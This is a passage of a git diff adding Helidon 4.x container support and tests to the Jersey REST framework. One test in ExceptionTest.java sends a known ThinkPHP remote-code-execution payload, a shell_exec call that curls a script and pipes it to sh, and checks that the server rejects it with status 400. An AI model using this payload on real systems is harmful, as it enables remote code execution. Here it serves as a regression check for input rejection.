+ throw new NumberFormatException("Value is negative.");
+ }
+ return i;
+ } catch (NumberFormatException e) {
+ LOGGER.log(Level.CONFIG,
+ "Value of 'jersey.config.test.container.port'"
+ + " property is not a valid non-negative integer [" + value + "]."
+ + " Reverting to default [" + DEFAULT_PORT + "].",
+ e);
+ }
+ }
+ return DEFAULT_PORT;
+ }
+
+ private final int getPort(RuntimeType runtimeType) {
+ switch (runtimeType) {
+ case SERVER:
+ return getPort();
+ case CLIENT:
+ return server.port();
+ default:
+ throw new IllegalStateException("Unexpected runtime type");
+ }
+ }
+
+ private volatile WebServer server;
+
+ public UriBuilder getUri() {
+ return UriBuilder.fromUri("http://localhost").port(getPort(RuntimeType.CLIENT)).path(CONTEXT);
+ }
+
+ public void startServer(Class>... resources) {
+ ResourceConfig config = new ResourceConfig(resources);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ startServer(config);
+ }
+
+ public void startServer(ResourceConfig config) {
+ final URI baseUri = getBaseUri();
+ if (server == null) {
+ server = HelidonHttpContainerBuilder.builder()
+ .uri(baseUri)
+ .application(config)
+ .build();
+ }
+ server.start();
+ LOGGER.log(Level.INFO, "Helidon-http server started on base uri: " + getBaseUri());
+ }
+
+ public URI getBaseUri() {
+ return UriBuilder.fromUri("http://localhost/").port(getPort(RuntimeType.SERVER)).build();
+ }
+
+ public void stopServer() {
+ try {
+ server.stop();
+ server = null;
+ LOGGER.log(Level.INFO, "Helidon-http server stopped.");
+ } catch (Exception e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ @AfterEach
+ public void tearDown() {
+ if (server != null) {
+ stopServer();
+ }
+ }
+
+}
diff --git a/containers/helidon/src/test/java/org/glassfish/jersey/helidon/AsyncTest.java b/containers/helidon/src/test/java/org/glassfish/jersey/helidon/AsyncTest.java
new file mode 100644
index 0000000000..3bdc4ef01c
--- /dev/null
+++ b/containers/helidon/src/test/java/org/glassfish/jersey/helidon/AsyncTest.java
@@ -0,0 +1,167 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.helidon;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.container.AsyncResponse;
+import jakarta.ws.rs.container.Suspended;
+import jakarta.ws.rs.container.TimeoutHandler;
+import jakarta.ws.rs.core.Response;
+import org.junit.jupiter.api.AfterEach;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.Disabled;
+import org.junit.jupiter.api.Test;
+
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.concurrent.atomic.AtomicInteger;
+
+import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class AsyncTest extends AbstractHelidonServerTester {
+
+ @Path("/async")
+ @SuppressWarnings("VoidMethodAnnotatedWithGET")
+ public static class AsyncResource {
+
+ public static AtomicInteger INVOCATION_COUNT = new AtomicInteger(0);
+
+ @GET
+ public void asyncGet(@Suspended final AsyncResponse asyncResponse) {
+ new Thread(new Runnable() {
+
+ @Override
+ public void run() {
+ final String result = veryExpensiveOperation();
+ asyncResponse.resume(result);
+ }
+
+ private String veryExpensiveOperation() {
+ // ... very expensive operation that typically finishes within 5 seconds, simulated using sleep()
+ try {
+ Thread.sleep(5000);
+ } catch (final InterruptedException e) {
+ // ignore
+ }
+ return "DONE";
+ }
+ }).start();
+ }
+
+ @GET
+ @Path("timeout")
+ public void asyncGetWithTimeout(@Suspended final AsyncResponse asyncResponse) {
+ asyncResponse.setTimeoutHandler(new TimeoutHandler() {
+
+ @Override
+ public void handleTimeout(final AsyncResponse asyncResponse) {
+ asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE).entity("Operation time out.")
+ .build());
+ }
+ });
+ asyncResponse.setTimeout(3, TimeUnit.SECONDS);
+
+ new Thread(new Runnable() {
+
+ @Override
+ public void run() {
+ final String result = veryExpensiveOperation();
+ asyncResponse.resume(result);
+ }
+
+ private String veryExpensiveOperation() {
+ // ... very expensive operation that typically finishes within 10 seconds, simulated using sleep()
+ try {
+ Thread.sleep(7000);
+ } catch (final InterruptedException e) {
+ // ignore
+ }
+ return "DONE";
+ }
+ }).start();
+ }
+
+ @GET
+ @Path("multiple-invocations")
+ public void asyncMultipleInvocations(@Suspended final AsyncResponse asyncResponse) {
+ INVOCATION_COUNT.incrementAndGet();
+
+ new Thread(new Runnable() {
+ @Override
+ public void run() {
+ asyncResponse.resume("OK");
+ }
+ }).start();
+ }
+ }
+
+ private Client client;
+
+ @BeforeEach
+ public void setUp() throws Exception {
+ startServer(AsyncResource.class);
+ client = ClientBuilder.newClient();
+ }
+
+ @Override
+ @AfterEach
+ public void tearDown() {
+ super.tearDown();
+ client = null;
+ }
+
+ @Test
+ public void testAsyncGet() throws ExecutionException, InterruptedException {
+ final Future responseFuture = client.target(getUri().path("/async")).request().async().get();
+ // Request is being processed asynchronously.
+ final Response response = responseFuture.get();
+ // get() waits for the response
+ assertEquals("DONE", response.readEntity(String.class));
+ }
+
+ @Test
+ @Disabled
+ public void testAsyncGetWithTimeout() throws ExecutionException, InterruptedException, TimeoutException {
+ final Future responseFuture = client.target(getUri().path("/async/timeout")).request().async().get();
+ // Request is being processed asynchronously.
+ final Response response = responseFuture.get();
+
+ // get() waits for the response
+ assertEquals(503, response.getStatus());
+ assertEquals("Operation time out.", response.readEntity(String.class));
+ }
+
+ /**
+ * JERSEY-2616 reproducer. Make sure resource method is only invoked once per one request.
+ */
+ @Test
+ public void testAsyncMultipleInvocations() throws Exception {
+ final Response response = client.target(getUri().path("/async/multiple-invocations")).request().get();
+
+ assertThat(AsyncResource.INVOCATION_COUNT.get(), is(1));
+
+ assertThat(response.getStatus(), is(200));
+ assertThat(response.readEntity(String.class), is("OK"));
+ }
+}
diff --git a/containers/helidon/src/test/java/org/glassfish/jersey/helidon/ExceptionTest.java b/containers/helidon/src/test/java/org/glassfish/jersey/helidon/ExceptionTest.java
new file mode 100644
index 0000000000..4d5761ec90
--- /dev/null
+++ b/containers/helidon/src/test/java/org/glassfish/jersey/helidon/ExceptionTest.java
@@ -0,0 +1,96 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.helidon;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.PathParam;
+import jakarta.ws.rs.WebApplicationException;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Response;
+import org.apache.http.HttpHost;
+import org.apache.http.client.methods.CloseableHttpResponse;
+import org.apache.http.impl.client.CloseableHttpClient;
+import org.apache.http.impl.client.HttpClientBuilder;
+import org.apache.http.message.BasicHttpRequest;
+import org.junit.jupiter.api.Test;
+
+import java.io.IOException;
+import java.net.URI;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author Paul Sandoz
+ */
+public class ExceptionTest extends AbstractHelidonServerTester {
+ @Path("{status}")
+ public static class ExceptionResource {
+ @GET
+ public String get(@PathParam("status") int status) {
+ throw new WebApplicationException(status);
+ }
+
+ }
+
+ @Test
+ public void test400StatusCodeForIllegalSymbolsInURI() throws IOException {
+ startServer(ExceptionResource.class);
+ URI testUri = getUri().build();
+ String incorrectFragment = "/v1/abcdefgh/abcde/abcdef/abc/a/%3Fs=/Index/\\x5Cthink\\x5Capp/invokefunction"
+ + "&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=curl+--user-agent+curl_tp5+http://127.0"
+ + ".0.1/ldr.sh|sh";
+ BasicHttpRequest request = new BasicHttpRequest("GET", testUri + incorrectFragment);
+ CloseableHttpClient client = HttpClientBuilder.create().build();
+
+ CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request);
+
+ assertEquals(400, response.getStatusLine().getStatusCode());
+ }
+
+ @Test
+ public void test400StatusCodeForIllegalHeaderValue() throws IOException {
+ startServer(ExceptionResource.class);
+ URI testUri = getUri().build();
+ BasicHttpRequest request = new BasicHttpRequest("GET", testUri.toString() + "/400");
+ request.addHeader("X-Forwarded-Host", "_foo.com");
+ CloseableHttpClient client = HttpClientBuilder.create().build();
+
+ CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request);
+
+ assertEquals(400, response.getStatusLine().getStatusCode());
+ }
+
+ @Test
+ public void test400StatusCode() throws IOException {
+ startServer(ExceptionResource.class);
+ Client client = ClientBuilder.newClient();
+ WebTarget r = client.target(getUri().path("400").build());
+ assertEquals(400, r.request().get(Response.class).getStatus());
+ }
+
+ @Test
+ public void test500StatusCode() {
+ startServer(ExceptionResource.class);
+ Client client = ClientBuilder.newClient();
+ WebTarget r = client.target(getUri().path("500").build());
+
+ assertEquals(500, r.request().get(Response.class).getStatus());
+ }
+}
diff --git a/containers/helidon/src/test/java/org/glassfish/jersey/helidon/OptionsTest.java b/containers/helidon/src/test/java/org/glassfish/jersey/helidon/OptionsTest.java
new file mode 100644
index 0000000000..ab7496cb56
--- /dev/null
+++ b/containers/helidon/src/test/java/org/glassfish/jersey/helidon/OptionsTest.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.helidon;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.core.Response;
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class OptionsTest extends AbstractHelidonServerTester {
+
+ @Path("helloworld")
+ public static class HelloWorldResource {
+ public static final String CLICHED_MESSAGE = "Hello World!";
+
+ @GET
+ @Produces("text/plain")
+ public String getHello() {
+ return CLICHED_MESSAGE;
+ }
+ }
+
+ @Test
+ public void testFooBarOptions() {
+ startServer(HelloWorldResource.class);
+ Client client = ClientBuilder.newClient();
+ Response response = client.target(getUri()).path("helloworld").request().header("Accept", "foo/bar").options();
+ assertEquals(200, response.getStatus());
+ final String allowHeader = response.getHeaderString("Allow");
+ _checkAllowContent(allowHeader);
+ assertEquals(0, response.getLength());
+ assertEquals("foo/bar", response.getMediaType().toString());
+ }
+
+ private void _checkAllowContent(final String content) {
+ assertTrue(content.contains("GET"));
+ assertTrue(content.contains("HEAD"));
+ assertTrue(content.contains("OPTIONS"));
+ }
+
+}
+
diff --git a/containers/pom.xml b/containers/pom.xml
index ccedd361eb..af69c57f26 100644
--- a/containers/pom.xml
+++ b/containers/pom.xml
@@ -84,4 +84,16 @@
+
+
+ helidon-container
+
+ [21,)
+
+
+ helidon
+
+
+
+
diff --git a/etc/jenkins/Jenkinsfile_ci_build b/etc/jenkins/Jenkinsfile_ci_build
index cc3401fac9..8a525a732a 100644
--- a/etc/jenkins/Jenkinsfile_ci_build
+++ b/etc/jenkins/Jenkinsfile_ci_build
@@ -34,7 +34,7 @@ pipeline {
steps {
sh '''
bash ${WORKSPACE}/etc/jenkins/jenkins_build.sh
- export EXCLUDE_ARGS=' -pl !:jersey-container-jetty11-http,!:jersey-jetty11-connector '
+ export EXCLUDE_ARGS=' -pl !:jersey-container-jetty11-http,!:jersey-jetty11-connector,!:configured-client '
bash ${WORKSPACE}/etc/scripts/validation/dependency-convergence.sh
'''
}
diff --git a/pom.xml b/pom.xml
index cdb20097cf..fcd1ea2196 100644
--- a/pom.xml
+++ b/pom.xml
@@ -2152,6 +2152,7 @@
3.0.3
3.0.1
3.2.6
+ 4.0.11
3.2.8
1.4.14
3.7.1
diff --git a/test-framework/providers/helidon-http/pom.xml b/test-framework/providers/helidon-http/pom.xml
new file mode 100644
index 0000000000..f2492eb545
--- /dev/null
+++ b/test-framework/providers/helidon-http/pom.xml
@@ -0,0 +1,48 @@
+
+
+
+
+ 4.0.0
+
+
+ org.glassfish.jersey.test-framework.providers
+ project
+ 3.1.99-SNAPSHOT
+
+
+ jersey-test-framework-provider-helidon
+ jar
+ jersey-test-framework-provider-helidon
+
+ Jersey Test Framework - Helidon (4.x) container
+
+
+
+ org.glassfish.jersey.test-framework
+ jersey-test-framework-core
+ ${project.version}
+
+
+ org.glassfish.jersey.containers
+ jersey-container-helidon-http
+ ${project.version}
+
+
+
+
diff --git a/test-framework/providers/helidon-http/src/main/java/org/glassfish/jersey/test/helidon/HelidonTestContainerFactory.java b/test-framework/providers/helidon-http/src/main/java/org/glassfish/jersey/test/helidon/HelidonTestContainerFactory.java
new file mode 100644
index 0000000000..963783b79d
--- /dev/null
+++ b/test-framework/providers/helidon-http/src/main/java/org/glassfish/jersey/test/helidon/HelidonTestContainerFactory.java
@@ -0,0 +1,89 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.test.helidon;
+
+import io.helidon.webserver.WebServer;
+import jakarta.ws.rs.core.UriBuilder;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.helidon.HelidonHttpContainerBuilder;
+import org.glassfish.jersey.test.DeploymentContext;
+import org.glassfish.jersey.test.spi.TestContainer;
+import org.glassfish.jersey.test.spi.TestContainerFactory;
+import org.glassfish.jersey.test.spi.TestHelper;
+
+import java.net.URI;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+public class HelidonTestContainerFactory implements TestContainerFactory {
+
+ private static class HelidonTestContainer implements TestContainer {
+
+ private static final Logger LOGGER = Logger.getLogger(HelidonTestContainer.class.getName());
+
+ private URI baseUri;
+
+ private final WebServer server;
+
+ private HelidonTestContainer(final URI baseUri, final DeploymentContext context) {
+ this.baseUri = UriBuilder.fromUri(baseUri).path(context.getContextPath()).build();
+
+ if (LOGGER.isLoggable(Level.INFO)) {
+ LOGGER.info("Creating HelidonTestContainer configured at the base URI "
+ + TestHelper.zeroPortToAvailablePort(baseUri));
+ }
+
+ final HelidonHttpContainerBuilder builder = HelidonHttpContainerBuilder.builder()
+ .application(context.getResourceConfig())
+ .uri(this.baseUri);
+ if (context.getSslContext().isPresent() && context.getSslParameters().isPresent()) {
+ builder.sslParameters(context.getSslParameters().get());
+ builder.sslContext(context.getSslContext().get());
+ }
+ this.server = builder.build();
+
+ }
+
+ @Override
+ public ClientConfig getClientConfig() {
+ return null;
+ }
+
+ @Override
+ public URI getBaseUri() {
+ return baseUri;
+ }
+
+ @Override
+ public void start() {
+ if (!server.isRunning()) {
+ server.start();
+ }
+ }
+
+ @Override
+ public void stop() {
+ if (server.isRunning()) {
+ server.stop();
+ }
+ }
+ }
+ @Override
+ public TestContainer create(URI baseUri, DeploymentContext deploymentContext) {
+ return new HelidonTestContainer(baseUri, deploymentContext);
+ }
+}
diff --git a/test-framework/providers/helidon-http/src/main/java/org/glassfish/jersey/test/helidon/package-info.java b/test-framework/providers/helidon-http/src/main/java/org/glassfish/jersey/test/helidon/package-info.java
new file mode 100644
index 0000000000..651a5f4190
--- /dev/null
+++ b/test-framework/providers/helidon-http/src/main/java/org/glassfish/jersey/test/helidon/package-info.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ *
+ */
+
+/**
+ * Test Framework Jersey container provider based on Helidon 4.x.
+ */
+
+package org.glassfish.jersey.test.helidon;
\ No newline at end of file
diff --git a/test-framework/providers/helidon-http/src/main/resources/META-INF/services/org.glassfish.jersey.test.spi.TestContainerFactory b/test-framework/providers/helidon-http/src/main/resources/META-INF/services/org.glassfish.jersey.test.spi.TestContainerFactory
new file mode 100644
index 0000000000..375a254ed1
--- /dev/null
+++ b/test-framework/providers/helidon-http/src/main/resources/META-INF/services/org.glassfish.jersey.test.spi.TestContainerFactory
@@ -0,0 +1 @@
+org.glassfish.jersey.test.helidon.HelidonTestContainerFactory
diff --git a/test-framework/providers/helidon-http/src/test/java/org/glassfish/jersey/test/helidon/AvailablePortHelidonTest.java b/test-framework/providers/helidon-http/src/test/java/org/glassfish/jersey/test/helidon/AvailablePortHelidonTest.java
new file mode 100644
index 0000000000..a362cbf30c
--- /dev/null
+++ b/test-framework/providers/helidon-http/src/test/java/org/glassfish/jersey/test/helidon/AvailablePortHelidonTest.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.test.helidon;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.DeploymentContext;
+import org.glassfish.jersey.test.JerseyTest;
+import org.glassfish.jersey.test.TestProperties;
+import org.glassfish.jersey.test.spi.TestContainerFactory;
+import org.junit.jupiter.api.Test;
+
+import static org.hamcrest.CoreMatchers.equalTo;
+import static org.hamcrest.CoreMatchers.not;
+import static org.hamcrest.MatcherAssert.assertThat;
+
+/**
+ * Tests finding an available port for container.
+ *
+ * @author Michal Gajdos
+ */
+public class AvailablePortHelidonTest extends JerseyTest {
+
+ @Override
+ protected TestContainerFactory getTestContainerFactory() {
+ return new HelidonTestContainerFactory();
+ }
+
+ @Path("AvailablePortHelidonTest")
+ public static class TestResource {
+ @GET
+ public String get() {
+ return "GET";
+ }
+ }
+
+ @Override
+ protected DeploymentContext configureDeployment() {
+ forceSet(TestProperties.CONTAINER_PORT, "-1"); //Default not defined port in Helidon is -1
+
+ return DeploymentContext.builder(new ResourceConfig(TestResource.class)).build();
+ }
+
+ @Test
+ public void testGet() {
+ assertThat(target().getUri().getPort(), not(0));
+ assertThat(getBaseUri().getPort(), not(0));
+
+ assertThat(target("AvailablePortHelidonTest").request().get(String.class), equalTo("GET"));
+ }
+}
diff --git a/test-framework/providers/helidon-http/src/test/java/org/glassfish/jersey/test/helidon/BaseUriTest.java b/test-framework/providers/helidon-http/src/test/java/org/glassfish/jersey/test/helidon/BaseUriTest.java
new file mode 100644
index 0000000000..820554284d
--- /dev/null
+++ b/test-framework/providers/helidon-http/src/test/java/org/glassfish/jersey/test/helidon/BaseUriTest.java
@@ -0,0 +1,73 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.test.helidon;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.WebTarget;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.DeploymentContext;
+import org.glassfish.jersey.test.JerseyTest;
+import org.glassfish.jersey.test.spi.TestContainerFactory;
+import org.junit.jupiter.api.Assertions;
+import org.junit.jupiter.api.Test;
+
+public class BaseUriTest extends JerseyTest {
+
+ @Override
+ protected TestContainerFactory getTestContainerFactory() {
+ return new HelidonTestContainerFactory();
+ }
+
+ @Path("root")
+ public static class TestResource {
+ @GET
+ public String get() {
+ return "GET";
+ }
+
+ @Path("sub")
+ @GET
+ public String getSub() {
+ return "sub";
+ }
+ }
+
+ @Override
+ protected DeploymentContext configureDeployment() {
+ return DeploymentContext.builder(new ResourceConfig(TestResource.class))
+ .contextPath("context1/context2")
+ .build();
+ }
+
+ @Test
+ public void testGet() {
+ final WebTarget target = target("root");
+
+ final String s = target.request().get(String.class);
+ Assertions.assertEquals("GET", s);
+ }
+
+ @Test
+ public void testGetSub() {
+ final WebTarget target = target("root/sub");
+
+ final String s = target.request().get(String.class);
+ Assertions.assertEquals("sub", s);
+ }
+
+}
diff --git a/test-framework/providers/helidon-http/src/test/java/org/glassfish/jersey/test/helidon/HelidonContainerTest.java b/test-framework/providers/helidon-http/src/test/java/org/glassfish/jersey/test/helidon/HelidonContainerTest.java
new file mode 100644
index 0000000000..a3e046a0ac
--- /dev/null
+++ b/test-framework/providers/helidon-http/src/test/java/org/glassfish/jersey/test/helidon/HelidonContainerTest.java
@@ -0,0 +1,107 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.test.helidon;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.core.Response;
+import org.glassfish.hk2.api.ServiceLocator;
+import org.glassfish.jersey.helidon.HelidonHttpContainer;
+import org.glassfish.jersey.helidon.HelidonHttpContainerBuilder;
+import org.glassfish.jersey.inject.hk2.DelayedHk2InjectionManager;
+import org.glassfish.jersey.inject.hk2.ImmediateHk2InjectionManager;
+import org.glassfish.jersey.internal.inject.InjectionManager;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+import org.jvnet.hk2.internal.ServiceLocatorImpl;
+
+import java.net.URI;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+/**
+ * Test class for {@link HelidonHttpContainer}.
+ *
+ * @author Arul Dhesiaseelan (aruld at acm org)
+ * @author Miroslav Fuksa
+ */
+public class HelidonContainerTest extends JerseyTest {
+
+ /**
+ * Creates new instance.
+ */
+ public HelidonContainerTest() {
+ super(new HelidonTestContainerFactory());
+ }
+
+ @Override
+ protected ResourceConfig configure() {
+ return new ResourceConfig(Resource.class);
+ }
+
+ /**
+ * Test resource class.
+ */
+ @Path("one")
+ public static class Resource {
+
+ /**
+ * Test resource method.
+ *
+ * @return Test simple string response.
+ */
+ @GET
+ public String getSomething() {
+ return "get";
+ }
+ }
+
+ @Test
+ /**
+ * Test {@link Server Helidon Server} container.
+ */
+ public void testHelidonContainerTarget() {
+ final Response response = target().path("one").request().get();
+
+ assertEquals(200, response.getStatus(), "Response status unexpected.");
+ assertEquals("get", response.readEntity(String.class), "Response entity unexpected.");
+ }
+
+ /**
+ * Test that defined ServiceLocator becomes a parent of the newly created service locator.
+ */
+ @Test
+ public void testParentServiceLocator() {
+ final ServiceLocator locator = new ServiceLocatorImpl("MyServiceLocator", null);
+ final HelidonHttpContainer container = HelidonHttpContainerBuilder.builder().uri(URI.create("http://localhost:9876"))
+ .application(new ResourceConfig(Resource.class)).parentContext(locator).build();
+ InjectionManager injectionManager = container.getApplicationHandler().getInjectionManager();
+
+ ServiceLocator serviceLocator;
+ if (injectionManager instanceof ImmediateHk2InjectionManager) {
+ serviceLocator = ((ImmediateHk2InjectionManager) injectionManager).getServiceLocator();
+ } else if (injectionManager instanceof DelayedHk2InjectionManager) {
+ serviceLocator = ((DelayedHk2InjectionManager) injectionManager).getServiceLocator();
+ } else {
+ throw new RuntimeException("Invalid Hk2 InjectionManager");
+ }
+ assertTrue(serviceLocator.getParent() == locator,
+ "Application injection manager was expected to have defined parent locator");
+ }
+}
diff --git a/test-framework/providers/pom.xml b/test-framework/providers/pom.xml
index 1bb01c3d56..ad32527035 100644
--- a/test-framework/providers/pom.xml
+++ b/test-framework/providers/pom.xml
@@ -44,4 +44,15 @@
netty
simple
+
+
+ helidon-container
+
+ [21,)
+
+
+ helidon-http
+
+
+
]